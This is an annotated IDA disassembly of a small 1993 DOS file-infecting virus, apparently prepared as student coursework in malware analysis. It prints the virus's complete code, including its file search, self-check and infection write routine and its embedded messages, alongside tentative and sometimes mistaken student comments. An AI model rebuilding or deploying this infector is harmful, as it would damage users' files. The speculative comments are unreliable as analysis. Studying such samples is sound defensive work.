

```

seg000:0100 ;
seg000:0100 ; +-----+
seg000:0100 ; | This file was generated by The Interactive Disassembler (IDA) |
seg000:0100 ; | Copyright (c) 2019 Hex-Rays, <support@hex-rays.com> |
seg000:0100 ; | License info: 48-3051-7114-0E |
seg000:0100 ; | LSU (Louisiana State University), Academic licenses |
seg000:0100 ; +-----+
seg000:0100 ;
seg000:0100 ; Input SHA256 : 7E00694397CBB7B422CB2F3E39A34C7FB7554931A1A9A2CF9AE7B2BCF42296E3
seg000:0100 ; Input MD5 : 0B4A318803AA1B9B6A0DCC55CEFCB7CE
seg000:0100 ; Input CRC32 : 785762D7
seg000:0100 ;
seg000:0100 ; -----
seg000:0100 ; File Name : C:\Users\golden\Desktop\Virus.DOS.Dos7.419
seg000:0100 ; Format : Binary file
seg000:0100 ; Base Address: 0000h Range: 0000h - 01C8h Loaded length: 01C8h
seg000:0100 ;
seg000:0100 ; .8086
seg000:0100 ; .model flat
seg000:0100 ;
seg000:0100 ; =====
seg000:0100 ; Segment type: Pure code
seg000:0100 seg000 segment byte public 'CODE'
seg000:0100 assume cs:seg000
seg000:0100 ;org 100h
seg000:0100 assume es:nothing, ss:nothing, ds:nothing
seg000:0100 C7 06 07 01 52 01 mov word ptr ds:loc_106+1, 152h ; ax := 168h ~ 360
seg000:0106
seg000:0106 loc_106: ; DATA XREF: seg000:0100:w
seg000:0106 B8 68 01 mov ax, 168h ; ax := 168h ~ 360
seg000:0109 A3 2E 01 mov word ptr ds:loc_129+5, ax ; in DOS7.... 05 loads into
seg000:0109 ; ---> ds:100[virus < 512bytes long][other region]
seg000:010C 2B C0 sub ax, ax ; ax := 0
seg000:010E 1E push ds ; ds --> stack (we have no idea what this was...)
seg000:010F 8E D8 mov ds, ax ; ds := ax ~ 0
seg000:0111 8E C0 mov es, ax ; es := ax ~ 0
seg000:0113 BE 84 00 mov si, 84h ; si := 84h ~ 132 ... where int 21h vector table is
seg000:0116 BF 0C 00 mov di, 0Ch ; di := 0Ch ~ 13 ... where int 3h vector table location is
seg000:0116 ; so will replace 0Ch w/ 84h ie so every 'Trap to debugger'
(int 3) will actually be a int 21h call...
seg000:0116 ;
seg000:0116 ; movsb lines (replacing int 3 w/ int 21h)
seg000:0116 ; byte @ ds:si --> es:di (si--, di--) twice...
seg000:0116 ; si (segment) -----> di (segment)
seg000:0116 ; [a] -----> [b]
seg000:0116 ; [b] -----> [a]
seg000:0119 A5 movsw
seg000:011A A5 movsw
seg000:011B 26 A1 00 00 mov ax, es:0 ; note: es a segment register
seg000:011B ; d.h. for segment registers you can do
seg000:011B ; 'segment_register:offset'
seg000:011B ; so you are moving es:0 --> 16_bit_ax
seg000:011F A3 70 01 mov word ptr ds:loc_16B+5, ax ; moves 168h~360 ---> wrd ptr in es:offset==0
seg000:0122 26 A1 02 00 mov ax, es:2
seg000:0126 A3 77 01 mov word ptr ds:loc_172+5, ax ; moves 5341h~21313 ----> wrd ptr es:2
seg000:0126 ; ie moves 21313 into wherever es:2 points to
seg000:0129
seg000:0129 loc_129: ; DATA XREF: seg000:0109:w
seg000:0129 26 C7 06 00 00 4C 4D mov word ptr es:0, 4D4Ch ; in DOS7.... 05 loads into
seg000:0129 ; ---> ds:100[virus < 512bytes long][other region]
seg000:0130 1F pop ds ; pop stack item --> ds
seg000:0131 8C D8 mov ax, ds ; ax := ds
seg000:0133 80 C4 10 add ah, 10h ; ah += 10h
seg000:0136 26 A3 02 00 mov es:2, ax ; note: {seg:offset} in slideshow
seg000:0136 ; (special DOS thing w/ offset of 2)
seg000:013A 8E C0 mov es, ax ; es := ax
seg000:013C assume es:nothing
seg000:013C BF 00 01 mov di, 100h ; ds:si --> es:di
seg000:013C ; ds:100 --(virus)--> es:??
seg000:013F 8B F7 mov si, di ; di := si ~ [01][00]h
seg000:0141 B9 A3 01 mov cx, 1A3h ; cx := [01][A3]h ~ 419
seg000:0144 F3 A4 rep movsb ; for 419 times (bytes), copy the virus over
seg000:0144 ; (or maybe part of it...)
seg000:0144 ; but wait ==> he said the virus < 512,
seg000:0144 ; &... 419 < 512
seg000:0144 ; YES, IS COPYING VIRUS ELSEWHERE!!!!
seg000:0146 8E D8 mov ds, ax ; ds := ax

```

```

seg000:0148                assume ds:nothing
seg000:0148 F7 F1          div     cx           ; dx:ax / cx --> storing: ax~quotient, dx~remainder ... if
we replaced the stuff at the offset... and we replace the 0 (INT 0) in memory... ie the /0... giving ctrl to virus (gldn talked abt
this in class)
seg000:014A                loc_14A:
seg000:014A                ; CODE XREF: seg000:01AB:j
seg000:014A B4 3E          mov     ah, 3Eh ; '>' ; note: "the '>' IDA comment is correct for ASCII but
irrelevant" (GLDN)
seg000:014A                ;
seg000:014A                ; ah := [3E]h ~ 48 + 14 = 62
seg000:014C CC           int     3           ; Trap to Debugger (int DOS... int21h(ah=3Eh) --> 'close
file referenced by file handle')
seg000:014D                loc_14D:
seg000:014D                ; CODE XREF: seg000:0195:j
seg000:014D                ; seg000:01A5:j
seg000:014D B4 4F          mov     ah, 4Fh ; '0' ; ah := [4F]h ~ 64+15=79
seg000:014F CC           int     3           ; Trap to Debugger (int DOS call... int21h(ah=4Fh) -->
'fine [find] next matching file')
seg000:0150 EB 3A          jmp     short loc_18C ; note sure what this is yet...
seg000:0150                ; but what does the CF look like / symbolize / mean ???
seg000:0152                ; -----
seg000:0152 2B C9          sub     cx, cx      ; cx := 0
seg000:0152                ; (so you will repeat 0 times in any rep loop moving
forward)
seg000:0154 41           inc     cx          ; cx++ ie cx += 1
seg000:0155 0E           push   cs          ; es := cs
seg000:0155                ; !!nasty trick!!! ie "overlapping instructions"
seg000:0155                ; BF:
seg000:0155                ; seg000:0157                loc_157:
; CODE XREF: seg000:015A:j
seg000:0155                ; seg000:0157 B8 05 FE                mov
ax, 0FE05h                ; "all 'assumes' are IDA trash that we didn't edit out" - GLDN
seg000:0155                ; seg000:015A EB FC                jmp
short near ptr loc_157+1 ; "all 'assumes' are IDA trash that we didn't edit out" - GLDN
seg000:0155                ; seg000:015C                ;
seg000:0155                ; seg000:015C 2D 02 E7                sub
ax, 0E702h                ; seg000:015F B7 01                mov
bh, 1
seg000:0155                ; seg000:0161 BA 00 00                mov
dx, 0
seg000:0155                ; seg000:0164 CD 13                int
13h                ; DISK - DISK - SET TYPE (AT,XT2,XT286,CONV,PS
seg000:0155                ; seg000:0164
; AL = disk type AL = 03h - high-capacity disk in high-capacity drive
seg000:0156 07           pop     es          ; AFTER:
seg000:0156                ; -->
seg000:0156                ; 157 B8                db 0B8h
seg000:0156                ; 158 05 FE EB        add ax, 0ebfeh (ax += [EB][FE]h~ax +=
60414)
seg000:0156                ; 14B FC cld
seg000:0156                ;
seg000:0156                ; seg000:0157                loc_157:
; CODE XREF: seg000:015A:j
seg000:0156                ; seg000:0157 B8 05 FE                mov
ax, 0FE05h                ; "all 'assumes' are IDA trash that we didn't edit out" - GLDN
seg000:0156                ; seg000:015A EB FC                jmp
short near ptr loc_157+1 ; "all 'assumes' are IDA trash that we didn't edit out" - GLDN
seg000:0156                ; seg000:015C                ;
seg000:0156                ; seg000:015C 2D 02 E7                sub
ax, 0E702h                ; seg000:015F B7 01                mov
bh, 1
seg000:0156                ; seg000:0161 BA 00 00                mov
dx, 0
seg000:0156                ; seg000:0164 CD 13                int
13h                ; DISK - DISK - SET TYPE (AT,XT2,XT286,CONV,PS
seg000:0156                ; seg000:0164
; AL = disk type AL = 03h - high-capacity disk in high-capacity drive
seg000:0156                ; -----
seg000:0157                assume es:nothing
seg000:0157 B8          db     0B8h
seg000:0158                ; -----
seg000:0158 05 FE EB        add     ax, 0EBFEh
seg000:015B FC          cld
seg000:015C 2D 02 E7        sub     ax, 0E702h
seg000:015F B7 01        mov     bh, 1
seg000:0161 BA 00 00        mov     dx, 0

```

```

seg000:0164 CD 13          int     13h          ; DISK - DISK - SET TYPE (AT,XT2,XT286,CONV,PS
seg000:0164              ; AL = disk type AL = 03h - high-capacity disk in high-
capacity drive
seg000:0164              ; -----
seg000:0166 EB          db     0EBh
seg000:0167 EC          db     0ECh
seg000:0168              ; -----
seg000:0168 06          push    es          ; stack below:
seg000:0168              ; es
seg000:0168              ; --
seg000:0168              ; cx --(off stack)--> es
seg000:0168              ;
seg000:0168              ; ie you basically save the es onto the stack then..
seg000:0168              ; save es := cs
seg000:0169 51          push    cx          ; stores the locations (ptrs to them) in es:0 & es:2 where
we write these values to below...
seg000:016A 07          pop     es
seg000:016B              loc_16B:          ; DATA XREF: seg000:011F1w
seg000:016B 26 C7 06 00 00 4C 4D mov     word ptr es:0, 4D4Ch ; moves 168h~360 ----> wrd ptr in es:offset==0
seg000:0172              loc_172:          ; DATA XREF: seg000:01261w
seg000:0172 26 C7 06 02 00 41 53 mov     word ptr es:2, 5341h ; moves 5341h~21313 ----> wrd ptr es:2
seg000:0172              ; ie moves 21313 into wherever es:2 points to
seg000:0179 07          pop     es          ; restores the previous es value saved before it was set by
cx for the prior 2 movs
seg000:017A C7 06 07 01 68 01 mov     word ptr ds:107h, 168h ; moves 168h~360 ----> wrd ptr ds:offset==107h~263
seg000:0180 B4 1A          mov     ah, 1Ah     ; ah := 1Ah~26
seg000:0180              ; [eax(32) ... ax(16)->[ah(8)][al(8)]]
seg000:0182 99          cwd          ; sign-extends the 16-bit value in the ax register into 32-
bit dx:ax register pair
seg000:0183 CC          int     3          ; Trap to Debugger (in DOS... int21h(ah=1ah) --> 'set disk
transfer area 'DTA')
seg000:0184 B4 4E          mov     ah, 4Eh    ; 'N' ; ah := 4Eh~78
seg000:0186 2B C9          sub     cx, cx     ; zeroes out cx
seg000:0188 BA 23 02          mov     dx, 223h  ; dx := 223h~547
seg000:018B CC          int     3          ; Trap to Debugger (in DOS... int21h(ah=4eh) --> 'find
first matching file'
seg000:018C              loc_18C:          ; CODE XREF: seg000:01501j
seg000:018C 72 7E          jb     short loc_20C ; jump if below (CF=1)...
seg000:018C              ; why do we care abt the carry flag here????
seg000:018E B8 02 3D          mov     ax, 3D02h ; ax := 3D02h ~ 15618
seg000:0191 BA 1E 00          mov     dx, 1Eh   ; dx := 1Eh ~ 16+14 = 30
seg000:0194 CC          int     3          ; Trap to Debugger (in DOS... int21h(ax=3d02h ~ {ah=3dh,
al=02h}) --> (open_file, read/write) )
seg000:0195 72 B6          jb     short loc_14D ; CF=1????
seg000:0197 8B D8          mov     bx, ax    ; bx := ax
seg000:0199 B4 3F          mov     ah, 3Fh  ; '?' ; ah := 3Fh ~ 63
seg000:019B BF 1A 00          mov     di, 1Ah  ; di := 26
seg000:019E 8B 0D          mov     cx, [di] ; cx := [1Ah] = [26] =
seg000:019E              ; what is here?????
seg000:019E              ;
seg000:019E              ; below, basically:
seg000:019E              ; cx,dx,ax := di-->, value in si, si-->
seg000:01A0 8B D6          mov     dx, si   ; dx := si
seg000:01A2 CC          int     3          ; Trap to Debugger... (in DOS... int21h(ah=3fh) --> read
file referenced by file handle)
seg000:01A3 8B 04          mov     ax, [si] ; ax := location of value of si
seg000:01A5 72 A6          jb     short loc_14D ; ah := [4F]h ~ 64+15=79
seg000:01A7 3B 06 00 01          cmp     ax, ds:100h ; checking if this area has the virus???
seg000:01AB 74 9D          jz     short loc_14A ; if it does have the virus / what we are looking for
seg000:01AB              ; then go here
seg000:01AD 8B 44 02          mov     ax, [si+2] ; if it doesn't have what we are looking for,
seg000:01AD              ;
seg000:01AD              ; move 2 bits/bytes-which one??? into ax then compare...
seg000:01AD              ;
seg000:01AD              ; is that the same as 6015h ~ 24597
seg000:01B0 3D 15 60          cmp     ax, 6015h
seg000:01B3 74 02          jz     short loc_1B7 ; if it is there (the virus at this section...) --> loc_1B7
seg000:01B3              ; ELSE just jump to loc_1F6 (infection / normal routine??)
seg000:01B5 EB 3F          jmp     short loc_1F6
seg000:01B7              ; -----
seg000:01B7              loc_1B7:          ; CODE XREF: seg000:01B31j
seg000:01B7 57          push    di          ; the location [si+2] had what we want...
seg000:01B7              ; --- (ie saving this stuff to the stack)

```

```

seg000:01B7                                     ; [di]
seg000:01B7                                     ; [si]
seg000:01B8 56                                 push    si
seg000:01B9 BE 4D 02                           mov     si, 24Dh      ; si := 24Dh ~ 589
seg000:01BC BF F0 23                           mov     di, 23F0h    ; di := 23F0h ~ 9200
seg000:01BF B9 55 00                           mov     cx, 55h ; 'U' ; cx := 55h ~ 85
seg000:01C2 90                               nop                ; do nothing??? wait??? filler??
seg000:01C2                                     ; 'nop slide/sled' := offering a buffer for malware to use
later?
seg000:01C2                                     ; ie if code directs to this location... it will slide
down
seg000:01C2                                     ; until it hits the next runnable code
seg000:01C3 FC                               cld                ; clear direction flag...
seg000:01C3                                     ; the CF/DF seems to be a major director for lots of these
jumps and loops in the code
seg000:01C4 F3 A4                             rep movsb          ; for 55h~85 times this repeats...
seg000:01C4                                     ; copying 85 string-bytes starting at 24Dh to...
seg000:01C4                                     ; starting at 23F0h
seg000:01C6 BE 2A 02                           mov     si, 22Ah    ; reset si := 22Ah ~ 554
seg000:01C9 BF 57 90                           mov     di, 9057h   ; reset di := 9057h ~ 36951
seg000:01CC B9 0C 00                           mov     cx, 0Ch     ; set copies, cx := 0Ch ~ 12... ie times or bytes...
seg000:01CF 90                               nop                ; nop - nothing OR???
seg000:01CF                                     ; code will be injected at some later point here?
seg000:01CF                                     ; maybe instead of innocently copying these 12 bytes, since
it already has a src and dest index set... maybe one of those is malware code that then just runs ??? (crazy theory or idea but a
possibility)
seg000:01D0 F3 A4                             rep movsb          ; copy src bytes from destination bytes
seg000:01D2 BE 36 02                           mov     si, 236h    ; src si:= 236h ~ 566 [0x100][4xx virus][space/stuff]... so
clearly this is is the virus ???
seg000:01D5 BF 4C 91                           mov     di, 914Ch   ; dest di:= 914ch ~ 37196 --> copying the virus to random
further memory address out there?
seg000:01D8 B9 17 00                           mov     cx, 17h     ; cx := 23
seg000:01DB 90                               nop
seg000:01DC F3 A4                             rep movsb          ; ds:si --> es:di
seg000:01DC                                     ; (si++; di---)... copying large blocks of data
seg000:01DE B8 00 42                           mov     ax, 4200h   ; ax := 4200h~16896
seg000:01E1 2B D2                             sub     dx, dx       ; clear dx
seg000:01E3 8B CA                             mov     cx, dx       ; cx := dx (0-d out / wiped ==> cx wiped as well)
seg000:01E5 CC                               int     3            ; Trap to Debugger (int DOS... int21h(ax=4200h~
{ah=42h,al=0h}) --> 'move file pointer (move read-write pointer for file)' from beginning (00h=al)
seg000:01E6 B4 40                             mov     ah, 40h ; '@' ; ah := 40h~64
seg000:01E8 BA A3 02                           mov     dx, 2A3h    ; dx:=2A3h~675
seg000:01EB B9 BD CE                           mov     cx, 0CEBDh ; cx := 0cebdh~52925
seg000:01EB                                     ; ... so this will write to high memory... likely will be
written to or read from later
seg000:01EE CC                               int     3            ; Trap to Debugger ... write file (int21h(40h))
seg000:01EF B4 3E                             mov     ah, 3Eh ; '>' ; ah := 3eh~62
seg000:01F1 CC                               int     3            ; Trap to Debugger ... close file (like above)
seg000:01F2 5E                               pop     si           ; top of stack () --> si
seg000:01F2                                     ; ie restoring the stack from earlier (start of loc_1b7)
seg000:01F3 5F                               pop     di           ; top of stack () --> di
seg000:01F4 EB 16                             jmp     short loc_20C ; note... prior jump restored the si&di ptrs... so clearly
they are imporant to be 'normal' here... just a note... may not be relevant
seg000:01F4                                     ;
seg000:01F4                                     ; ax:= ss (what is this ??? )
seg000:01F6                                     ; -----
seg000:01F6                                     ;
seg000:01F6                                     ; loc_1F6:
seg000:01F6                                     ; CODE XREF: seg000:01B5!j
seg000:01F6 B8 00 42                           mov     ax, 4200h
seg000:01F9 2B D2                             sub     dx, dx
seg000:01FB 8B CA                             mov     cx, dx
seg000:01FD CC                               int     3            ; Trap to Debugger ... same as above... move file ptry (r-w
ptr for file) from beginning (dx&cx=0 ==> from beginning ... to the beginning)
seg000:01FE FE C6                             inc     dh
seg000:0200 B4 40                             mov     ah, 40h ; '@'
seg000:0202 8B 0D                             mov     cx, [di]
seg000:0204 81 C1 A3 01                       add     cx, 1A3h
seg000:0208 CC                               int     3            ; Trap to Debugger (write the file)
seg000:0209 B4 3E                             mov     ah, 3Eh ; '>'
seg000:020B CC                               int     3            ; Trap to Debugger (close the file)
seg000:020C                                     ;
seg000:020C                                     ; loc_20C:
seg000:020C                                     ; CODE XREF: seg000:loc_18C!j
seg000:020C                                     ; seg000:01F4!j
seg000:020C 8C D0                             mov     ax, ss       ; note... prior jump restored the si&di ptrs... so clearly
they are imporant to be 'normal' here... just a note... may not be relevant
seg000:020C                                     ;
seg000:020C                                     ; ax:= ss (what is this ??? )
seg000:020E 8E C0                             mov     es, ax       ; es,ds := ax == ss

```

```

seg000:0210 8E D8          mov     ds, ax
seg000:0212              assume ds:nothing
seg000:0212 50          push   ax                ; pushing ax to the stack... so now its...
seg000:0212              ; ----- (last part of stack; unless changed somehow)
seg000:0212              ; [si]
seg000:0212              ; [di]
seg000:0212              ; [ax] ??
seg000:0213 B4 1A        mov     ah, 1Ah          ; ah := 1Ah~26... so maybe will loop for this many times
later by moving it to cx??? or not sure ....
seg000:0215 D1 EA        shr     dx, 1            ; previously... dx==2A3h~675
seg000:0217 CC          int     3                ; Trap to Debugger (close file)
seg000:0218 BF 00 01     mov     di, 100h         ; di := 100h~256
seg000:021B 57          push   di                ; pushing ax to the stack... so now its...
seg000:021B              ; ----- (last part of stack; unless changed somehow)
seg000:021B              ; [si]
seg000:021B              ; [di]
seg000:021B              ; [ax]
seg000:021B              ; [new_di==100h~256]
seg000:021C 8B CC        mov     cx, sp           ; cx := sp
seg000:021E 2B CE        sub     cx, si           ; cx = sp - si
seg000:021E              ; ie cx := stack_ptr - stack_index
seg000:0220 F3 A4        rep movsb                ; ds:si ----> es:di
seg000:0220              ; copies the state or that built up stack {si,di,ax,
new_di} ??? for later, clears it, maybe just a certain part of the program... not sure yet
seg000:0222 CB          retf
seg000:0222              ; -----
seg000:0223 2A          db     2Ah ; *          ; start of the read-in message
seg000:0224 57          db     57h ; W
seg000:0225 2E          db     2Eh ; .
seg000:0226 43          db     43h ; C
seg000:0227 3F          db     3Fh ; ?
seg000:0228 4D          db     4Dh ; M
seg000:0229 00          db     0
seg000:022A 69          db     69h ; i
seg000:022B 73          db     73h ; s
seg000:022C 20          db     20h
seg000:022D 69          db     69h ; i
seg000:022E 6E          db     6Eh ; n
seg000:022F 66          db     66h ; f
seg000:0230 65          db     65h ; e
seg000:0231 63          db     63h ; c
seg000:0232 74          db     74h ; t
seg000:0233 65          db     65h ; e
seg000:0234 64          db     64h ; d
seg000:0235 21          db     21h ; !
seg000:0236 6F          db     6Fh ; o
seg000:0237 79          db     79h ; y
seg000:0238 2C          db     2Ch ; ,
seg000:0239 20          db     20h
seg000:023A 61          db     61h ; a
seg000:023B 72          db     72h ; r
seg000:023C 65          db     65h ; e
seg000:023D 20          db     20h
seg000:023E 79          db     79h ; y
seg000:023F 6F          db     6Fh ; o
seg000:0240 75          db     75h ; u
seg000:0241 20          db     20h
seg000:0242 65          db     65h ; e
seg000:0243 76          db     76h ; v
seg000:0244 65          db     65h ; e
seg000:0245 72          db     72h ; r
seg000:0246 20          db     20h
seg000:0247 64          db     64h ; d
seg000:0248 75          db     75h ; u
seg000:0249 6D          db     6Dh ; m
seg000:024A 62          db     62h ; b
seg000:024B 21          db     21h ; !
seg000:024C 20          db     20h
seg000:024D 4D          db     4Dh ; M
seg000:024E 53          db     53h ; S
seg000:024F 44          db     44h ; D
seg000:0250 4F          db     4Fh ; O
seg000:0251 53          db     53h ; S
seg000:0252 20          db     20h
seg000:0253 37          db     37h ; 7
seg000:0254 20          db     20h
seg000:0255 28          db     28h ; (

```

```

seg000:0256 43      db 43h ; C
seg000:0257 29      db 29h ; )
seg000:0258 31      db 31h ; 1
seg000:0259 39      db 39h ; 9
seg000:025A 39      db 39h ; 9
seg000:025B 33      db 33h ; 3
seg000:025C 20      db 20h
seg000:025D 41      db 41h ; A
seg000:025E 4E      db 4Eh ; N
seg000:025F 41      db 41h ; A
seg000:0260 52      db 52h ; R
seg000:0261 4B      db 4Bh ; K
seg000:0262 49      db 49h ; I
seg000:0263 43      db 43h ; C
seg000:0264 4B      db 4Bh ; K
seg000:0265 20      db 20h
seg000:0266 53      db 53h ; S
seg000:0267 59      db 59h ; Y
seg000:0268 53      db 53h ; S
seg000:0269 54      db 54h ; T
seg000:026A 45      db 45h ; E
seg000:026B 4D      db 4Dh ; M
seg000:026C 53      db 53h ; S
code below here or just likely filler though... I don't think it is code ; end of the first part of the read-in message... could be
seg000:026D 0D      db 0Dh
seg000:026E 0A      db 0Ah
seg000:026F 01      db 1
seg000:0270 01      db 1
seg000:0271 01      db 1
seg000:0272 20      db 20h
seg000:0273 20      db 20h
seg000:0274 20      db 20h
seg000:0275 20      db 20h
seg000:0276 20      db 20h
seg000:0277 44      db 44h ; D
seg000:0278 4F      db 4Fh ; O
seg000:0279 53      db 53h ; S
seg000:027A 20      db 20h
seg000:027B 36      db 36h ; 6
seg000:027C 20      db 20h
seg000:027D 41      db 41h ; A
seg000:027E 6E      db 6Eh ; n
seg000:027F 74      db 74h ; t
seg000:0280 69      db 69h ; i
seg000:0281 76      db 76h ; v
seg000:0282 69      db 69h ; i
seg000:0283 72      db 72h ; r
seg000:0284 75      db 75h ; u
seg000:0285 73      db 73h ; s
seg000:0286 20      db 20h
seg000:0287 73      db 73h ; s
seg000:0288 75      db 75h ; u
seg000:0289 63      db 63h ; c
seg000:028A 6B      db 6Bh ; k
seg000:028B 73      db 73h ; s
seg000:028C 2E      db 2Eh ; .
seg000:028D 20      db 20h
seg000:028E 49      db 49h ; I
seg000:028F 74      db 74h ; t
seg000:0290 20      db 20h
seg000:0291 6D      db 6Dh ; m
seg000:0292 69      db 69h ; i
seg000:0293 73      db 73h ; s
seg000:0294 73      db 73h ; s
seg000:0295 65      db 65h ; e
seg000:0296 64      db 64h ; d
seg000:0297 20      db 20h
seg000:0298 74      db 74h ; t
seg000:0299 68      db 68h ; h
seg000:029A 69      db 69h ; i
seg000:029B 73      db 73h ; s
seg000:029C 20      db 20h
seg000:029D 6F      db 6Fh ; o
seg000:029E 6E      db 6Eh ; n
seg000:029F 65      db 65h ; e
seg000:02A0 21      db 21h ; !
seg000:02A1 20      db 20h
seg000:02A2 24      db 24h ; $
; message pauses here??? is there a bit of code right below

```

here or just part of the msg ? (YES!! but I didn't get time to disassemble)... note: im editing the .lst file from home... in vim...
but i remember some move 9 thing ... and ik this gets copied... so a guess: it is what prints this msg at the end of the virus (i feel
like i remember a print thing when spamming between c & u in ida)

```
seg000:02A3 B4          db 0B4h
seg000:02A4 09          db 9
seg000:02A5 BA          db 0BAh
seg000:02A6 09          db 9
seg000:02A7 01          db 1
seg000:02A8 CC          db 0CCh
seg000:02A9 B4          db 0B4h
seg000:02AA 4C          db 4Ch ; L
seg000:02AB CC          db 0CCh
seg000:02AC 5B          db 5Bh ; [
seg000:02AD 44          db 44h ; D
seg000:02AE 4F          db 4Fh ; 0
seg000:02AF 53          db 53h ; S
seg000:02B0 20          db 20h
seg000:02B1 37          db 37h ; 7
seg000:02B2 76          db 76h ; v
seg000:02B3 01          db 1
seg000:02B4 01          db 1
seg000:02B5 01          db 1
seg000:02B6 5D          db 5Dh ; ]
seg000:02B7 20          db 20h
seg000:02B8 4C          db 4Ch ; L
seg000:02B9 75          db 75h ; u
seg000:02BA 63          db 63h ; c
seg000:02BB 69          db 69h ; i
seg000:02BC 66          db 66h ; f
seg000:02BD 65          db 65h ; e
seg000:02BE 72          db 72h ; r
seg000:02BF 20          db 20h
seg000:02C0 4D          db 4Dh ; M
seg000:02C1 65          db 65h ; e
seg000:02C2 73          db 73h ; s
seg000:02C3 73          db 73h ; s
seg000:02C4 69          db 69h ; i
seg000:02C5 61          db 61h ; a
seg000:02C6 68          db 68h ; h
seg000:02C7 24          db 24h ; $
seg000:02C7          seg000          ; end of read-in msg fr...fr
seg000:02C7          ends
seg000:02C7
seg000:02C7
seg000:02C7          end
```